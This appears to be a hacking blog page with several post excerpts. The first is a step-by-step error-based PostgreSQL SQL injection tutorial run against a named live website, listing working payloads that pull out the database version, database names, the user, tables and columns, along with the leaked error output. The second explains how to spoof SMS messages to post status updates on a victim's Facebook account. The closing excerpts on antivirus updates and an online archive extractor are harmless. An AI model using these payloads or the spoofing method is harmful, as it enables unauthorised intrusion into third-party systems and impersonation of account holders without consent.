Manual sql injection tutorial: Postgre Error based !!!

                   

Postgre:

Traditional relational database management systems (DBMSs) support a data model consisting of a collection of named relations, containing attributes of a specific type. In current commercial systems, possible types include floating point numbers, integers, character strings,
money, and dates.

Lets start to play with Postgre:
we have a sql error based vulnerable website:1st Step find the vulnerability:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80'

ERROR: syntax error at or near "''"
its mean this website can be injected.remember errors can varies you wont get the same error every time.2nd Step Columns count:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 order by 1--

get valid page

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 order by 2--

Error Executing Database Query.
ERROR: ORDER BY position 2 is not in select list
That Error shows that there is one column.Lets try UNION SELECT query:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=2 UNION SELECT 1--

Error Executing Database Query.
ERROR: UNION types character varying and integer cannot be matched

Seems like UNION SELECT query is not working !!!


Lets try Errorbased Postgre SQLi…

3rd Step:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast(version() as int)--

ERROR: invalid input syntax for integer: "PostgreSQL 8.4.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) 4.4.3, 32-bit"

As we can see we got version of postgre DB server in the form of error.Lets move on and find database name.

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select datname from pg_database limit 1 offset 0) as int)--

Error Executing Database Query.

ERROR: invalid input syntax for integer: "scoutsqld"
Scoutsqld is 1st database name you can variey offset to get other databases names.

scoutsqld is first database we can get others by changing offset :)

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select datname from pg_database limit 1 offset 1) as int)--

Error Executing Database Query.
ERROR: invalid input syntax for integer: "template0"
template0 is 2nd database so you can increase offset till you got error.Lets find out the user:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select user from pg_database limit 1 offset 0) as int)--

Error Executing Database Query.

ERROR: invalid input syntax for integer: "postgres"

postgres is the user :)Lets find the tables :>
4th step:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select table_name from information_schema.tables  limit 1 offset 0) as int)--

Error Executing Database Query.

ERROR: invalid input syntax for integer: "pg_type"

pg_type is first table we can get others by changing offset :)5th step:

Now we have to find the columns from our specific table !!!

e.g

our table is action

for that we have to use oracle char conversion.Pg_type= CHR(112) || CHR(103) || CHR(95) || CHR(116) || CHR(121) || CHR(112) || CHR(101)

so our query is :

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select column_name from information_schema.columns where table_name= CHR(112) || CHR(103) || CHR(95) || CHR(116) || CHR(121) || CHR(112) || CHR(101)  limit 1 offset 0) as int)--

Error Executing Database Query.
ERROR: invalid input syntax for integer: " typname "
And further you can find the columns using offset..Last step:
Now we have to extract data from our column .

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select typname from pg_type limit 1 offset 0) as int)--

Error Executing Database Query.
ERROR: invalid input syntax for integer: "bool"

[Read More...]

Hack your friends facebook status: [Sms spoofing trick]

Previously i discussed about how to send mesgs through your frnds or any  mobile no. ie sms spoofing.


now we wil missuse the facebooks feature of updating status through message spoofing.
this is a very awesome tricks to fool your friends that your hacked his account lolzz.

first Read this POST

1.now after subscribing to SMS global.
2.   The First Textbox is for Receiver’s number. Just insert the number which is used to update the status or comment on Facebook through mobile. This number is Country specific.

For e.g : In India, its 919232232665.

The 91 is the Country Code and the remaing 9232232665 is the real number.

So just write your Country specific Facebook Number for facebook mobile.

3.   The Second Textbox is for Sender’s Number. Just write the Mobile number of the Victim who have Activated Facebook Mobile.

For e.g : Here its, 911234567890. Again, the 91 is for Country Code and the remaining is the Victim’s 10 digit Mobile number.

4.   Leave the Message Template option as it is.

5.   Write the Message you want to write in the Status of Victim’s Profile. Sometimes, it may take around a minute or 2, so just wait and watch.

NOTE CERTAIN THINGS in SMS spoofing:

1.   The Sender’s Number (Facebook Mobile Number) and the Receiver’s Number (Victim’s Number), should be Precedded by the Country Code and then the Number.

2.   WWW.SMSGLOBAL.COM allows only 25 SMS per Registration. So, as long as you have more Mobile Number to receive Password on it, You can keep trying.

3.   This Trick requires the Victim to have Facebook activated on Mobile (Facebook via Mobile). If the Victim has not activated it, the Method is of no use !!

Check for the ‘Info’ Option in Profile of the Person you want to victimize. If the ‘Info’ contains the Phone Number, the Chances are high that he/she may have activated the Facebook Mobile. So, Just Try Your Luck !!!

Or

Just Paste the Following Link in your Address bar to find out mobile numbers of all the Freiends in your List !!!

                                  Link

hope you like this trick...thnxzz for reading & do comment .....:)

[Read More...]

How to update your antivirus offline : Download latest offline databases to update antivirus defintions

"Update Antivirus Offline" is in great demand as people want to update their system with "Latest Virus Definetions" without having the online internet connection. We all know that Antivirus is the basic of Computer as it protects us from virus ,spywares, torjans,etc . Most Antivirus have one unique virus definetions which needs to be updated as the passage of time to protect ourselves from new virus. So to make Anti-virus detect latest viruses we need to Update your antivirus regularly Offline or Online on behalf of Latest Virus Definations. Some of the good antiviruses are   Kaspersky  ,  AVG.

Before going to the main topic let me clear your basic doubts :

What is Antivirus Definitions ? 

Latest Anti-virus Definitions are commonly known as Antivirus Signature Database. This is some kind of information created by the Anti-virus company to detect the latest virus on your PC. Thus its always recommended to Update Antivirus Offline or Online.

Download antivirus definetions:

 Downloading Definitions  can be done from the official Antivirus webite but most do not provide this feature, so they can update with latest virus definitions. But their is one website which provide this service free of charge and too for all Antivirus companies.Softpedia regularly updates their downloading database and provides us Latest Antivirus definetions. So now only Download Antivirus Definitions

• Download Antivirus Definitions 

How antivirus works? 

[Read More...]

Online rar ,Zip, compressed files & archieve extractor : how to extract your files through web?

"Unrar Online" is in great need as the Softwares used to "Unzip Rar Files Online" is not very famous like : WinRar . So most people go with Online File Extractor . Most people don't know about this, So today I am going to share this article on Unrar Online. 


                                              

This online tool is WobZIP


   Very easy to use:

• Just open WobZIP and click on Browse button and choose your zipped file.

•  Then click on "wobzip" and with in 1 min you will get your unzip rar file

WOBZIP FEATURES:

• Maximum file size:
  100MB
  
• Formats supported:
  7z, ZIP, GZIP, BZIP2, TAR, RAR, CAB, ISO, ARJ, LZHCHM, Z, CPIO, RPM, DEB and NSIS
  
• Unzip a url directly:
  http://wobzip.org/?type=url&url=FILE_URL_HERE&p=PASSWORD_HERE
  
• Known bugs:
  1. Uploader may cause corrupted files.
  2. There are reports that .tar.gz and .tar.bz2 file extension do not work

[Read More...]